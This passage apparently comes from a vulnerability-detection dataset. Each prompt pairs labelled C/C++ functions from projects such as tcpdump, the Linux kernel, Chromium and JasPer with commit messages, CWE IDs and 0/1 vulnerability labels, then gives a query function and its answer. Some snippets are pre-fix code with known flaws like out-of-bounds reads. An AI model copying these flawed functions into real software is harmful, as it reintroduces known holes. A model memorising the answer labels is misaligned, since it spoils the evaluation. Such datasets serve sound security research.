case ICMP6_NI_QUERY:
if (siz == sizeof(*dp) + 4) {
/* KAME who-are-you */
ND_PRINT((ndo," who-are-you request"));
break;
}
ND_PRINT((ndo," node information query"));
ND_TCHECK2(*dp, sizeof(*ni6));
ni6 = (const struct icmp6_nodeinfo *)dp;
ND_PRINT((ndo," (")); /*)*/
switch (EXTRACT_16BITS(&ni6->ni_qtype)) {
case NI_QTYPE_NOOP:
ND_PRINT((ndo,"noop"));
break;
case NI_QTYPE_SUPTYPES:
ND_PRINT((ndo,"supported qtypes"));
i = EXTRACT_16BITS(&ni6->ni_flags);
if (i)
ND_PRINT((ndo," [%s]", (i & 0x01) ? "C" : ""));
break;
case NI_QTYPE_FQDN:
ND_PRINT((ndo,"DNS name"));
break;
case NI_QTYPE_NODEADDR:
ND_PRINT((ndo,"node addresses"));
i = ni6->ni_flags;
if (!i)
break;
/* NI_NODEADDR_FLAG_TRUNCATE undefined for query */
ND_PRINT((ndo," [%s%s%s%s%s%s]",
(i & NI_NODEADDR_FLAG_ANYCAST) ? "a" : "",
(i & NI_NODEADDR_FLAG_GLOBAL) ? "G" : "",
(i & NI_NODEADDR_FLAG_SITELOCAL) ? "S" : "",
(i & NI_NODEADDR_FLAG_LINKLOCAL) ? "L" : "",
(i & NI_NODEADDR_FLAG_COMPAT) ? "C" : "",
(i & NI_NODEADDR_FLAG_ALL) ? "A" : ""));
break;
default:
ND_PRINT((ndo,"unknown"));
break;
}
if (ni6->ni_qtype == NI_QTYPE_NOOP ||
ni6->ni_qtype == NI_QTYPE_SUPTYPES) {
if (siz != sizeof(*ni6))
if (ndo->ndo_vflag)
ND_PRINT((ndo,", invalid len"));
/*(*/
ND_PRINT((ndo,")"));
break;
}
/* XXX backward compat, icmp-name-lookup-03 */
if (siz == sizeof(*ni6)) {
ND_PRINT((ndo,", 03 draft"));
/*(*/
ND_PRINT((ndo,")"));
break;
}
switch (ni6->ni_code) {
case ICMP6_NI_SUBJ_IPV6:
if (!ND_TTEST2(*dp,
sizeof(*ni6) + sizeof(struct in6_addr)))
break;
if (siz != sizeof(*ni6) + sizeof(struct in6_addr)) {
if (ndo->ndo_vflag)
ND_PRINT((ndo,", invalid subject len"));
break;
}
ND_PRINT((ndo,", subject=%s",
ip6addr_string(ndo, ni6 + 1)));
break;
case ICMP6_NI_SUBJ_FQDN:
ND_PRINT((ndo,", subject=DNS name"));
cp = (const u_char *)(ni6 + 1);
if (cp[0] == ep - cp - 1) {
/* icmp-name-lookup-03, pascal string */
if (ndo->ndo_vflag)
ND_PRINT((ndo,", 03 draft"));
cp++;
ND_PRINT((ndo,", \""));
while (cp < ep) {
safeputchar(ndo, *cp);
cp++;
}
ND_PRINT((ndo,"\""));
} else
dnsname_print(ndo, cp, ep);
break;
case ICMP6_NI_SUBJ_IPV4:
if (!ND_TTEST2(*dp, sizeof(*ni6) + sizeof(struct in_addr)))
break;
if (siz != sizeof(*ni6) + sizeof(struct in_addr)) {
if (ndo->ndo_vflag)
ND_PRINT((ndo,", invalid subject len"));
break;
}
ND_PRINT((ndo,", subject=%s",
ipaddr_string(ndo, ni6 + 1)));
break;
default:
ND_PRINT((ndo,", unknown subject"));
break;
}
/*(*/
ND_PRINT((ndo,")"));
break;
case ICMP6_NI_REPLY:
if (icmp6len > siz) {
ND_PRINT((ndo,"[|icmp6: node information reply]"));
break;
}
needcomma = 0;
ND_TCHECK2(*dp, sizeof(*ni6));
ni6 = (const struct icmp6_nodeinfo *)dp;
ND_PRINT((ndo," node information reply"));
ND_PRINT((ndo," (")); /*)*/
switch (ni6->ni_code) {
case ICMP6_NI_SUCCESS:
if (ndo->ndo_vflag) {
ND_PRINT((ndo,"success"));
needcomma++;
}
break;
case ICMP6_NI_REFUSED:
ND_PRINT((ndo,"refused"));
needcomma++;
if (siz != sizeof(*ni6))
if (ndo->ndo_vflag)
ND_PRINT((ndo,", invalid length"));
break;
case ICMP6_NI_UNKNOWN:
ND_PRINT((ndo,"unknown"));
needcomma++;
if (siz != sizeof(*ni6))
if (ndo->ndo_vflag)
ND_PRINT((ndo,", invalid length"));
break;
}
if (ni6->ni_code != ICMP6_NI_SUCCESS) {
/*(*/
ND_PRINT((ndo,")"));
break;
}
switch (EXTRACT_16BITS(&ni6->ni_qtype)) {
case NI_QTYPE_NOOP:
if (needcomma)
ND_PRINT((ndo,", "));
ND_PRINT((ndo,"noop"));
if (siz != sizeof(*ni6))
if (ndo->ndo_vflag)
ND_PRINT((ndo,", invalid length"));
break;
case NI_QTYPE_SUPTYPES:
if (needcomma)
ND_PRINT((ndo,", "));
ND_PRINT((ndo,"supported qtypes"));
i = EXTRACT_16BITS(&ni6->ni_flags);
if (i)
ND_PRINT((ndo," [%s]", (i & 0x01) ? "C" : ""));
break;
case NI_QTYPE_FQDN:
if (needcomma)
ND_PRINT((ndo,", "));
ND_PRINT((ndo,"DNS name"));
cp = (const u_char *)(ni6 + 1) + 4;
ND_TCHECK(cp[0]);
if (cp[0] == ep - cp - 1) {
/* icmp-name-lookup-03, pascal string */
if (ndo->ndo_vflag)
ND_PRINT((ndo,", 03 draft"));
cp++;
ND_PRINT((ndo,", \""));
while (cp < ep) {
safeputchar(ndo, *cp);
cp++;
}
ND_PRINT((ndo,"\""));
} else
dnsname_print(ndo, cp, ep);
if ((EXTRACT_16BITS(&ni6->ni_flags) & 0x01) != 0)
ND_PRINT((ndo," [TTL=%u]", EXTRACT_32BITS(ni6 + 1)));
break;
case NI_QTYPE_NODEADDR:
if (needcomma)
ND_PRINT((ndo,", "));
ND_PRINT((ndo,"node addresses"));
i = sizeof(*ni6);
while (i < siz) {
if (i + sizeof(struct in6_addr) + sizeof(int32_t) > siz)
break;
ND_PRINT((ndo," %s", ip6addr_string(ndo, bp + i)));
i += sizeof(struct in6_addr);
ND_PRINT((ndo,"(%d)", (int32_t)EXTRACT_32BITS(bp + i)));
i += sizeof(int32_t);
}
i = ni6->ni_flags;
if (!i)
break;
ND_PRINT((ndo," [%s%s%s%s%s%s%s]",
(i & NI_NODEADDR_FLAG_ANYCAST) ? "a" : "",
(i & NI_NODEADDR_FLAG_GLOBAL) ? "G" : "",
(i & NI_NODEADDR_FLAG_SITELOCAL) ? "S" : "",
(i & NI_NODEADDR_FLAG_LINKLOCAL) ? "L" : "",
(i & NI_NODEADDR_FLAG_COMPAT) ? "C" : "",
(i & NI_NODEADDR_FLAG_ALL) ? "A" : "",
(i & NI_NODEADDR_FLAG_TRUNCATE) ? "T" : ""));
break;
default:
if (needcomma)
ND_PRINT((ndo,", "));
ND_PRINT((ndo,"unknown"));
break;
}
/*(*/
ND_PRINT((ndo,")"));
break;
}
return;
trunc:
ND_PRINT((ndo, "[|icmp6]"));
}
Commit Message: (for 4.9.3) CVE-2018-14882/ICMP6 RPL: Add a missing bounds check
Moreover:
Add and use *_tstr[] strings.
Update four tests outputs accordingly.
Fix a space.
Wang Junjie of 360 ESG Codesafe Team had independently identified this
vulnerability in 2018 by means of fuzzing and provided the packet capture
file for the test.
CWE ID: CWE-125
Target: 1
Example 2:
Code: static int megasas_cluster_reset_ld(MegasasState *s, MegasasCmd *cmd)
{
uint16_t target_id;
int i;
/* mbox0 contains the device index */
target_id = le16_to_cpu(cmd->frame->dcmd.mbox[0]);
trace_megasas_dcmd_reset_ld(cmd->index, target_id);
for (i = 0; i < s->fw_cmds; i++) {
MegasasCmd *tmp_cmd = &s->frames[i];
if (tmp_cmd->req && tmp_cmd->req->dev->id == target_id) {
SCSIDevice *d = tmp_cmd->req->dev;
qdev_reset_all(&d->qdev);
}
}
return MFI_STAT_OK;
}
Commit Message:
CWE ID: CWE-200
Target: 0
Now analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'. Remember, I want response in '1' or '0'. Do Not respond with explanation.
Code: void jas_matrix_divpow2(jas_matrix_t *matrix, int n)
{
int i;
int j;
jas_seqent_t *rowstart;
int rowstep;
jas_seqent_t *data;
if (jas_matrix_numrows(matrix) > 0 && jas_matrix_numcols(matrix) > 0) {
assert(matrix->rows_);
rowstep = jas_matrix_rowstep(matrix);
for (i = matrix->numrows_, rowstart = matrix->rows_[0]; i > 0; --i,
rowstart += rowstep) {
for (j = matrix->numcols_, data = rowstart; j > 0; --j,
++data) {
*data = (*data >= 0) ? ((*data) >> n) :
(-((-(*data)) >> n));
}
}
}
}
Commit Message: The generation of the configuration file jas_config.h has been completely
reworked in order to avoid pollution of the global namespace.
Some problematic types like uchar, ulong, and friends have been replaced
with names with a jas_ prefix.
An option max_samples has been added to the BMP and JPEG decoders to
restrict the maximum size of image that they can decode. This change
was made as a (possibly temporary) fix to address security concerns.
A max_samples command-line option has also been added to imginfo.
Whether an image component (for jas_image_t) is stored in memory or on
disk is now based on the component size (rather than the image size).
Some debug log message were added.
Some new integer overflow checks were added.
Some new safe integer add/multiply functions were added.
More pre-C99 cruft was removed. JasPer has numerous "hacks" to
handle pre-C99 compilers. JasPer now assumes C99 support. So, this
pre-C99 cruft is unnecessary and can be removed.
The regression jasper-doublefree-mem_close.jpg has been re-enabled.
Theoretically, it should work more predictably now.
CWE ID: CWE-190
Output: | 1 |
Here are some example code snippets. Analyze the following code, commit message, CWE ID and the target value where 1 indicates the code has vulnerability and 0 indicates non-vulnerable code.
Example 1:
Code: static void perf_syscall_exit(void *ignore, struct pt_regs *regs, long ret)
{
struct syscall_metadata *sys_data;
struct syscall_trace_exit *rec;
struct hlist_head *head;
int syscall_nr;
int rctx;
int size;
syscall_nr = trace_get_syscall_nr(current, regs);
if (syscall_nr < 0)
return;
if (!test_bit(syscall_nr, enabled_perf_exit_syscalls))
return;
sys_data = syscall_nr_to_meta(syscall_nr);
if (!sys_data)
return;
head = this_cpu_ptr(sys_data->exit_event->perf_events);
if (hlist_empty(head))
return;
/* We can probably do that at build time */
size = ALIGN(sizeof(*rec) + sizeof(u32), sizeof(u64));
size -= sizeof(u32);
rec = (struct syscall_trace_exit *)perf_trace_buf_prepare(size,
sys_data->exit_event->event.type, regs, &rctx);
if (!rec)
return;
rec->nr = syscall_nr;
rec->ret = syscall_get_return_value(current, regs);
perf_trace_buf_submit(rec, size, rctx, 0, 1, regs, head, NULL);
}
Commit Message: tracing/syscalls: Ignore numbers outside NR_syscalls' range
ARM has some private syscalls (for example, set_tls(2)) which lie
outside the range of NR_syscalls. If any of these are called while
syscall tracing is being performed, out-of-bounds array access will
occur in the ftrace and perf sys_{enter,exit} handlers.
# trace-cmd record -e raw_syscalls:* true && trace-cmd report
...
true-653 [000] 384.675777: sys_enter: NR 192 (0, 1000, 3, 4000022, ffffffff, 0)
true-653 [000] 384.675812: sys_exit: NR 192 = 1995915264
true-653 [000] 384.675971: sys_enter: NR 983045 (76f74480, 76f74000, 76f74b28, 76f74480, 76f76f74, 1)
true-653 [000] 384.675988: sys_exit: NR 983045 = 0
...
# trace-cmd record -e syscalls:* true
[ 17.289329] Unable to handle kernel paging request at virtual address aaaaaace
[ 17.289590] pgd = 9e71c000
[ 17.289696] [aaaaaace] *pgd=00000000
[ 17.289985] Internal error: Oops: 5 [#1] PREEMPT SMP ARM
[ 17.290169] Modules linked in:
[ 17.290391] CPU: 0 PID: 704 Comm: true Not tainted 3.18.0-rc2+ #21
[ 17.290585] task: 9f4dab00 ti: 9e710000 task.ti: 9e710000
[ 17.290747] PC is at ftrace_syscall_enter+0x48/0x1f8
[ 17.290866] LR is at syscall_trace_enter+0x124/0x184
Fix this by ignoring out-of-NR_syscalls-bounds syscall numbers.
Commit cd0980fc8add "tracing: Check invalid syscall nr while tracing syscalls"
added the check for less than zero, but it should have also checked
for greater than NR_syscalls.
Link: http://lkml.kernel.org/p/[email protected]
Fixes: cd0980fc8add "tracing: Check invalid syscall nr while tracing syscalls"
Cc: [email protected] # 2.6.33+
Signed-off-by: Rabin Vincent <[email protected]>
Signed-off-by: Steven Rostedt <[email protected]>
CWE ID: CWE-264
Target: 1
Example 2:
Code: void stbl_del(GF_Box *s)
{
GF_SampleTableBox *ptr = (GF_SampleTableBox *)s;
if (ptr == NULL) return;
if (ptr->ChunkOffset) gf_isom_box_del(ptr->ChunkOffset);
if (ptr->CompositionOffset) gf_isom_box_del((GF_Box *) ptr->CompositionOffset);
if (ptr->CompositionToDecode) gf_isom_box_del((GF_Box *) ptr->CompositionToDecode);
if (ptr->DegradationPriority) gf_isom_box_del((GF_Box *) ptr->DegradationPriority);
if (ptr->SampleDescription) gf_isom_box_del((GF_Box *) ptr->SampleDescription);
if (ptr->SampleSize) gf_isom_box_del((GF_Box *) ptr->SampleSize);
if (ptr->SampleToChunk) gf_isom_box_del((GF_Box *) ptr->SampleToChunk);
if (ptr->ShadowSync) gf_isom_box_del((GF_Box *) ptr->ShadowSync);
if (ptr->SyncSample) gf_isom_box_del((GF_Box *) ptr->SyncSample);
if (ptr->TimeToSample) gf_isom_box_del((GF_Box *) ptr->TimeToSample);
if (ptr->SampleDep) gf_isom_box_del((GF_Box *) ptr->SampleDep);
if (ptr->PaddingBits) gf_isom_box_del((GF_Box *) ptr->PaddingBits);
if (ptr->sub_samples) gf_isom_box_array_del(ptr->sub_samples);
if (ptr->sampleGroups) gf_isom_box_array_del(ptr->sampleGroups);
if (ptr->sampleGroupsDescription) gf_isom_box_array_del(ptr->sampleGroupsDescription);
if (ptr->sai_sizes) gf_isom_box_array_del(ptr->sai_sizes);
if (ptr->sai_offsets) gf_isom_box_array_del(ptr->sai_offsets);
if (ptr->traf_map) {
if (ptr->traf_map->sample_num) gf_free(ptr->traf_map->sample_num);
gf_free(ptr->traf_map);
}
gf_free(ptr);
}
Commit Message: prevent dref memleak on invalid input (#1183)
CWE ID: CWE-400
Target: 0
Now analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'. Remember, I want response in '1' or '0'. Do Not respond with explanation.
Code: void BrowserView::TabDetachedAt(TabContents* contents, int index) {
if (index == browser_->active_index()) {
contents_container_->SetWebContents(NULL);
infobar_container_->ChangeTabContents(NULL);
UpdateDevToolsForContents(NULL);
}
}
Commit Message: Remove TabContents from TabStripModelObserver::TabDetachedAt.
BUG=107201
TEST=no visible change
Review URL: https://chromiumcodereview.appspot.com/11293205
git-svn-id: svn://svn.chromium.org/chrome/trunk/src@167122 0039d316-1c4b-4281-b951-d872f2087c98
CWE ID: CWE-20
Output: | 1 |
Here are some example code snippets. Analyze the following code, commit message, CWE ID and the target value where 1 indicates the code has vulnerability and 0 indicates non-vulnerable code.
Example 1:
Code: int vis_emul(struct pt_regs *regs, unsigned int insn)
{
unsigned long pc = regs->tpc;
unsigned int opf;
BUG_ON(regs->tstate & TSTATE_PRIV);
perf_sw_event(PERF_COUNT_SW_EMULATION_FAULTS, 1, 0, regs, 0);
if (test_thread_flag(TIF_32BIT))
pc = (u32)pc;
if (get_user(insn, (u32 __user *) pc))
return -EFAULT;
save_and_clear_fpu();
opf = (insn & VIS_OPF_MASK) >> VIS_OPF_SHIFT;
switch (opf) {
default:
return -EINVAL;
/* Pixel Formatting Instructions. */
case FPACK16_OPF:
case FPACK32_OPF:
case FPACKFIX_OPF:
case FEXPAND_OPF:
case FPMERGE_OPF:
pformat(regs, insn, opf);
break;
/* Partitioned Multiply Instructions */
case FMUL8x16_OPF:
case FMUL8x16AU_OPF:
case FMUL8x16AL_OPF:
case FMUL8SUx16_OPF:
case FMUL8ULx16_OPF:
case FMULD8SUx16_OPF:
case FMULD8ULx16_OPF:
pmul(regs, insn, opf);
break;
/* Pixel Compare Instructions */
case FCMPGT16_OPF:
case FCMPGT32_OPF:
case FCMPLE16_OPF:
case FCMPLE32_OPF:
case FCMPNE16_OPF:
case FCMPNE32_OPF:
case FCMPEQ16_OPF:
case FCMPEQ32_OPF:
pcmp(regs, insn, opf);
break;
/* Edge Handling Instructions */
case EDGE8_OPF:
case EDGE8N_OPF:
case EDGE8L_OPF:
case EDGE8LN_OPF:
case EDGE16_OPF:
case EDGE16N_OPF:
case EDGE16L_OPF:
case EDGE16LN_OPF:
case EDGE32_OPF:
case EDGE32N_OPF:
case EDGE32L_OPF:
case EDGE32LN_OPF:
edge(regs, insn, opf);
break;
/* Pixel Component Distance */
case PDIST_OPF:
pdist(regs, insn);
break;
/* Three-Dimensional Array Addressing Instructions */
case ARRAY8_OPF:
case ARRAY16_OPF:
case ARRAY32_OPF:
array(regs, insn, opf);
break;
/* Byte Mask and Shuffle Instructions */
case BMASK_OPF:
bmask(regs, insn);
break;
case BSHUFFLE_OPF:
bshuffle(regs, insn);
break;
}
regs->tpc = regs->tnpc;
regs->tnpc += 4;
return 0;
}
Commit Message: perf: Remove the nmi parameter from the swevent and overflow interface
The nmi parameter indicated if we could do wakeups from the current
context, if not, we would set some state and self-IPI and let the
resulting interrupt do the wakeup.
For the various event classes:
- hardware: nmi=0; PMI is in fact an NMI or we run irq_work_run from
the PMI-tail (ARM etc.)
- tracepoint: nmi=0; since tracepoint could be from NMI context.
- software: nmi=[0,1]; some, like the schedule thing cannot
perform wakeups, and hence need 0.
As one can see, there is very little nmi=1 usage, and the down-side of
not using it is that on some platforms some software events can have a
jiffy delay in wakeup (when arch_irq_work_raise isn't implemented).
The up-side however is that we can remove the nmi parameter and save a
bunch of conditionals in fast paths.
Signed-off-by: Peter Zijlstra <[email protected]>
Cc: Michael Cree <[email protected]>
Cc: Will Deacon <[email protected]>
Cc: Deng-Cheng Zhu <[email protected]>
Cc: Anton Blanchard <[email protected]>
Cc: Eric B Munson <[email protected]>
Cc: Heiko Carstens <[email protected]>
Cc: Paul Mundt <[email protected]>
Cc: David S. Miller <[email protected]>
Cc: Frederic Weisbecker <[email protected]>
Cc: Jason Wessel <[email protected]>
Cc: Don Zickus <[email protected]>
Link: http://lkml.kernel.org/n/[email protected]
Signed-off-by: Ingo Molnar <[email protected]>
CWE ID: CWE-399
Target: 1
Example 2:
Code: int SpdyProxyClientSocket::RestartWithAuth(const CompletionCallback& callback) {
next_state_ = STATE_DISCONNECTED;
return OK;
}
Commit Message: Sanitize headers in Proxy Authentication Required responses
BUG=431504
Review URL: https://codereview.chromium.org/769043003
Cr-Commit-Position: refs/heads/master@{#310014}
CWE ID: CWE-19
Target: 0
Now analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'. Remember, I want response in '1' or '0'. Do Not respond with explanation.
Code: bool LoginDisplayHostWebUI::IsVoiceInteractionOobe() {
return is_voice_interaction_oobe_;
}
Commit Message: cros: Check initial auth type when showing views login.
Bug: 859611
Change-Id: I0298db9bbf4aed6bd40600aef2e1c5794e8cd058
Reviewed-on: https://chromium-review.googlesource.com/1123056
Reviewed-by: Xiaoyin Hu <[email protected]>
Commit-Queue: Jacob Dufault <[email protected]>
Cr-Commit-Position: refs/heads/master@{#572224}
CWE ID:
Output: | 0 |
Here are some example code snippets. Analyze the following code, commit message, CWE ID and the target value where 1 indicates the code has vulnerability and 0 indicates non-vulnerable code.
Example 1:
Code: nfsd_dispatch(struct svc_rqst *rqstp, __be32 *statp)
{
struct svc_procedure *proc;
kxdrproc_t xdr;
__be32 nfserr;
__be32 *nfserrp;
dprintk("nfsd_dispatch: vers %d proc %d\n",
rqstp->rq_vers, rqstp->rq_proc);
proc = rqstp->rq_procinfo;
/*
* Give the xdr decoder a chance to change this if it wants
* (necessary in the NFSv4.0 compound case)
*/
rqstp->rq_cachetype = proc->pc_cachetype;
/* Decode arguments */
xdr = proc->pc_decode;
if (xdr && !xdr(rqstp, (__be32*)rqstp->rq_arg.head[0].iov_base,
rqstp->rq_argp)) {
dprintk("nfsd: failed to decode arguments!\n");
*statp = rpc_garbage_args;
return 1;
}
/* Check whether we have this call in the cache. */
switch (nfsd_cache_lookup(rqstp)) {
case RC_DROPIT:
return 0;
case RC_REPLY:
return 1;
case RC_DOIT:;
/* do it */
}
/* need to grab the location to store the status, as
* nfsv4 does some encoding while processing
*/
nfserrp = rqstp->rq_res.head[0].iov_base
+ rqstp->rq_res.head[0].iov_len;
rqstp->rq_res.head[0].iov_len += sizeof(__be32);
/* Now call the procedure handler, and encode NFS status. */
nfserr = proc->pc_func(rqstp, rqstp->rq_argp, rqstp->rq_resp);
nfserr = map_new_errors(rqstp->rq_vers, nfserr);
if (nfserr == nfserr_dropit || test_bit(RQ_DROPME, &rqstp->rq_flags)) {
dprintk("nfsd: Dropping request; may be revisited later\n");
nfsd_cache_update(rqstp, RC_NOCACHE, NULL);
return 0;
}
if (rqstp->rq_proc != 0)
*nfserrp++ = nfserr;
/* Encode result.
* For NFSv2, additional info is never returned in case of an error.
*/
if (!(nfserr && rqstp->rq_vers == 2)) {
xdr = proc->pc_encode;
if (xdr && !xdr(rqstp, nfserrp,
rqstp->rq_resp)) {
/* Failed to encode result. Release cache entry */
dprintk("nfsd: failed to encode result!\n");
nfsd_cache_update(rqstp, RC_NOCACHE, NULL);
*statp = rpc_system_err;
return 1;
}
}
/* Store reply in cache. */
nfsd_cache_update(rqstp, rqstp->rq_cachetype, statp + 1);
return 1;
}
Commit Message: nfsd: check for oversized NFSv2/v3 arguments
A client can append random data to the end of an NFSv2 or NFSv3 RPC call
without our complaining; we'll just stop parsing at the end of the
expected data and ignore the rest.
Encoded arguments and replies are stored together in an array of pages,
and if a call is too large it could leave inadequate space for the
reply. This is normally OK because NFS RPC's typically have either
short arguments and long replies (like READ) or long arguments and short
replies (like WRITE). But a client that sends an incorrectly long reply
can violate those assumptions. This was observed to cause crashes.
Also, several operations increment rq_next_page in the decode routine
before checking the argument size, which can leave rq_next_page pointing
well past the end of the page array, causing trouble later in
svc_free_pages.
So, following a suggestion from Neil Brown, add a central check to
enforce our expectation that no NFSv2/v3 call has both a large call and
a large reply.
As followup we may also want to rewrite the encoding routines to check
more carefully that they aren't running off the end of the page array.
We may also consider rejecting calls that have any extra garbage
appended. That would be safer, and within our rights by spec, but given
the age of our server and the NFS protocol, and the fact that we've
never enforced this before, we may need to balance that against the
possibility of breaking some oddball client.
Reported-by: Tuomas Haanpää <[email protected]>
Reported-by: Ari Kauppi <[email protected]>
Cc: [email protected]
Reviewed-by: NeilBrown <[email protected]>
Signed-off-by: J. Bruce Fields <[email protected]>
CWE ID: CWE-20
Target: 1
Example 2:
Code: static bool load(RBinFile *bf) {
const ut8 *bytes = bf ? r_buf_buffer (bf->buf) : NULL;
ut64 sz = bf ? r_buf_size (bf->buf): 0;
if (!bf || !bf->o) {
return false;
}
bf->o->bin_obj = load_bytes (bf, bytes, sz, bf->o->loadaddr, bf->sdb);
return bf->o->bin_obj != NULL;
}
Commit Message: Fix #9904 - crash in r2_hoobr_r_read_le32 (over 9000 entrypoints) and read_le oobread (#9923)
CWE ID: CWE-125
Target: 0
Now analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'. Remember, I want response in '1' or '0'. Do Not respond with explanation.
Code: void AppListControllerDelegate::DoShowAppInfoFlow(
Profile* profile,
const std::string& extension_id) {
DCHECK(CanDoShowAppInfoFlow());
ExtensionService* service =
extensions::ExtensionSystem::Get(profile)->extension_service();
DCHECK(service);
const extensions::Extension* extension = service->GetInstalledExtension(
extension_id);
DCHECK(extension);
OnShowChildDialog();
UMA_HISTOGRAM_ENUMERATION("Apps.AppInfoDialog.Launches",
AppInfoLaunchSource::FROM_APP_LIST,
AppInfoLaunchSource::NUM_LAUNCH_SOURCES);
ShowAppInfoInAppList(
GetAppListWindow(),
GetAppListBounds(),
profile,
extension,
base::Bind(&AppListControllerDelegate::OnCloseChildDialog,
base::Unretained(this)));
}
Commit Message: [Extensions] Add GetInstalledExtension() method to ExtensionRegistry
This CL adds GetInstalledExtension() method to ExtensionRegistry and
uses it instead of deprecated ExtensionService::GetInstalledExtension()
in chrome/browser/ui/app_list/.
Part of removing the deprecated GetInstalledExtension() call
from the ExtensionService.
BUG=489687
Review URL: https://codereview.chromium.org/1130353010
Cr-Commit-Position: refs/heads/master@{#333036}
CWE ID:
Output: | 1 |
Here are some example code snippets. Analyze the following code, commit message, CWE ID and the target value where 1 indicates the code has vulnerability and 0 indicates non-vulnerable code.
Example 1:
Code: void CrosLibrary::TestApi::SetSystemLibrary(
SystemLibrary* library, bool own) {
library_->system_lib_.SetImpl(library, own);
}
Commit Message: chromeos: Replace copy-and-pasted code with macros.
This replaces a bunch of duplicated-per-library cros
function definitions and comments.
BUG=none
TEST=built it
Review URL: http://codereview.chromium.org/6086007
git-svn-id: svn://svn.chromium.org/chrome/trunk/src@70070 0039d316-1c4b-4281-b951-d872f2087c98
CWE ID: CWE-189
Target: 1
Example 2:
Code: MojoResult Core::ExtendSerializedMessagePayload(
MojoMessageHandle message_handle,
uint32_t new_payload_size,
const MojoHandle* handles,
uint32_t num_handles,
void** new_buffer,
uint32_t* new_buffer_size) {
if (!message_handle || !new_buffer || !new_buffer_size)
return MOJO_RESULT_INVALID_ARGUMENT;
if (!handles && num_handles)
return MOJO_RESULT_INVALID_ARGUMENT;
auto* message = reinterpret_cast<ports::UserMessageEvent*>(message_handle)
->GetMessage<UserMessageImpl>();
MojoResult rv = message->ExtendSerializedMessagePayload(new_payload_size,
handles, num_handles);
if (rv != MOJO_RESULT_OK)
return rv;
*new_buffer = message->user_payload();
*new_buffer_size =
base::checked_cast<uint32_t>(message->user_payload_capacity());
return MOJO_RESULT_OK;
}
Commit Message: Correct mojo::WrapSharedMemoryHandle usage
Fixes some incorrect uses of mojo::WrapSharedMemoryHandle which
were assuming that the call actually has any control over the memory
protection applied to a handle when mapped.
Where fixing usage is infeasible for this CL, TODOs are added to
annotate follow-up work.
Also updates the API and documentation to (hopefully) improve clarity
and avoid similar mistakes from being made in the future.
BUG=792900
Cq-Include-Trybots: master.tryserver.chromium.android:android_optional_gpu_tests_rel;master.tryserver.chromium.linux:linux_optional_gpu_tests_rel;master.tryserver.chromium.mac:mac_optional_gpu_tests_rel;master.tryserver.chromium.win:win_optional_gpu_tests_rel
Change-Id: I0578aaa9ca3bfcb01aaf2451315d1ede95458477
Reviewed-on: https://chromium-review.googlesource.com/818282
Reviewed-by: Wei Li <[email protected]>
Reviewed-by: Lei Zhang <[email protected]>
Reviewed-by: John Abd-El-Malek <[email protected]>
Reviewed-by: Daniel Cheng <[email protected]>
Reviewed-by: Sadrul Chowdhury <[email protected]>
Reviewed-by: Yuzhu Shen <[email protected]>
Reviewed-by: Robert Sesek <[email protected]>
Commit-Queue: Ken Rockot <[email protected]>
Cr-Commit-Position: refs/heads/master@{#530268}
CWE ID: CWE-787
Target: 0
Now analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'. Remember, I want response in '1' or '0'. Do Not respond with explanation.
Code: void _jsvTrace(JsVar *var, int indent, JsVar *baseVar, int level) {
#ifdef SAVE_ON_FLASH
jsiConsolePrint("Trace unimplemented in this version.\n");
#else
int i;
for (i=0;i<indent;i++) jsiConsolePrint(" ");
if (!var) {
jsiConsolePrint("undefined");
return;
}
jsvTraceLockInfo(var);
int lowestLevel = _jsvTraceGetLowestLevel(baseVar, var);
if (lowestLevel < level) {
jsiConsolePrint("...\n");
return;
}
if (jsvIsName(var)) jsiConsolePrint("Name ");
char endBracket = ' ';
if (jsvIsObject(var)) { jsiConsolePrint("Object { "); endBracket = '}'; }
else if (jsvIsArray(var)) { jsiConsolePrintf("Array(%d) [ ", var->varData.integer); endBracket = ']'; }
else if (jsvIsNativeFunction(var)) { jsiConsolePrintf("NativeFunction 0x%x (%d) { ", var->varData.native.ptr, var->varData.native.argTypes); endBracket = '}'; }
else if (jsvIsFunction(var)) {
jsiConsolePrint("Function { ");
if (jsvIsFunctionReturn(var)) jsiConsolePrint("return ");
endBracket = '}';
} else if (jsvIsPin(var)) jsiConsolePrintf("Pin %d", jsvGetInteger(var));
else if (jsvIsInt(var)) jsiConsolePrintf("Integer %d", jsvGetInteger(var));
else if (jsvIsBoolean(var)) jsiConsolePrintf("Bool %s", jsvGetBool(var)?"true":"false");
else if (jsvIsFloat(var)) jsiConsolePrintf("Double %f", jsvGetFloat(var));
else if (jsvIsFunctionParameter(var)) jsiConsolePrintf("Param %q ", var);
else if (jsvIsArrayBufferName(var)) jsiConsolePrintf("ArrayBufferName[%d] ", jsvGetInteger(var));
else if (jsvIsArrayBuffer(var)) jsiConsolePrintf("%s ", jswGetBasicObjectName(var)); // way to get nice name
else if (jsvIsString(var)) {
size_t blocks = 1;
if (jsvGetLastChild(var)) {
JsVar *v = jsvLock(jsvGetLastChild(var));
blocks += jsvCountJsVarsUsed(v);
jsvUnLock(v);
}
if (jsvIsFlatString(var)) {
blocks += jsvGetFlatStringBlocks(var);
}
jsiConsolePrintf("%sString [%d blocks] %q", jsvIsFlatString(var)?"Flat":(jsvIsNativeString(var)?"Native":""), blocks, var);
} else {
jsiConsolePrintf("Unknown %d", var->flags & (JsVarFlags)~(JSV_LOCK_MASK));
}
if (jsvIsNameInt(var)) {
jsiConsolePrintf("= int %d\n", (int)jsvGetFirstChildSigned(var));
return;
} else if (jsvIsNameIntBool(var)) {
jsiConsolePrintf("= bool %s\n", jsvGetFirstChild(var)?"true":"false");
return;
}
if (jsvHasSingleChild(var)) {
JsVar *child = jsvGetFirstChild(var) ? jsvLock(jsvGetFirstChild(var)) : 0;
_jsvTrace(child, indent+2, baseVar, level+1);
jsvUnLock(child);
} else if (jsvHasChildren(var)) {
JsvIterator it;
jsvIteratorNew(&it, var, JSIF_DEFINED_ARRAY_ElEMENTS);
bool first = true;
while (jsvIteratorHasElement(&it) && !jspIsInterrupted()) {
if (first) jsiConsolePrintf("\n");
first = false;
JsVar *child = jsvIteratorGetKey(&it);
_jsvTrace(child, indent+2, baseVar, level+1);
jsvUnLock(child);
jsiConsolePrintf("\n");
